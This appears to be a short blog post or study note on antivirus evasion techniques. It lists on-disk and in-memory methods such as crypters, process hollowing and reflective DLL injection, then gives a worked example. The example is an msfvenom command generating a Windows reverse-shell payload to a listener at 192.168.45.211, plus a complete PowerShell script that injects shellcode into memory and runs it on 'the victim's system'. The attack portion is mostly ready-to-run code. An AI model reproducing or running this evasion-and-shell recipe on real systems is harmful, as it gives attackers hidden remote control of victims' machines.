Short summary of techniques:
- On-disk evasion
- Packaging software (zip, …)
- Obfuscators
- Crypters
- In-memory evasion
- In-memory injection / PE injection (Manipulates the processe’s memory)
- Remote Process Memory Injection (Manipulates anothers processe’s memory)
- Reflective DLL injection (while normal DLL injection loads a DLL from the disk, reflective DLL injection loads a DLL directly from a processe’s memory.)
- Process Hollowing (a non-malicous process is started, suspended, then it’s memory is overwritten with malicous code, then resumed)
- Inline hooking (some memory is overwritten to jump to malicous code elsewhere)
- In-memory injection / PE injection (Manipulates the processe’s memory)
Example of a manual In-memory injection
Create a reverse shell payload for PowerShell:
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.45.211 LPORT=443 -f powershell -v sc
Use this PowerShell script, which injects the shellcode into the own (PowerShell) process and executes it in a new thread:
$code = '
[DllImport("kernel32.dll")]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("msvcrt.dll")]
public static extern IntPtr memset(IntPtr dest, uint src, uint count);';
$var2 =
Add-Type -memberDefinition $code -Name "iWin32" -namespace Win32Functions -passthru;
[Byte[]];
[Byte[]]$var1 = SHELLCODE_HERE;
$size = 0x1000;
if ($var1.Length -gt 0x1000) {$size = $var1.Length};
$x = $var2::VirtualAlloc(0,$size,0x3000,0x40);
for ($i=0;$i -le ($var1.Length-1);$i++) {$var2::memset([IntPtr]($x.ToInt32()+$i), $var1[$i], 1)};
$var2::CreateThread(0,0,$x,0,0,0);for (;;) { Start-sleep 60 };
Start a listener and execute it in the victim’s system via .\a.ps1 (Note: Make sure to execute the right PowerShell and shellcode for the architecture!)
Example of a automatic In-memory injection with Shelter
Shelter can inject shellcode into a binary.
See also incident response training march 2025 , slide advanced5.
Leave a Reply
You must be logged in to post a comment.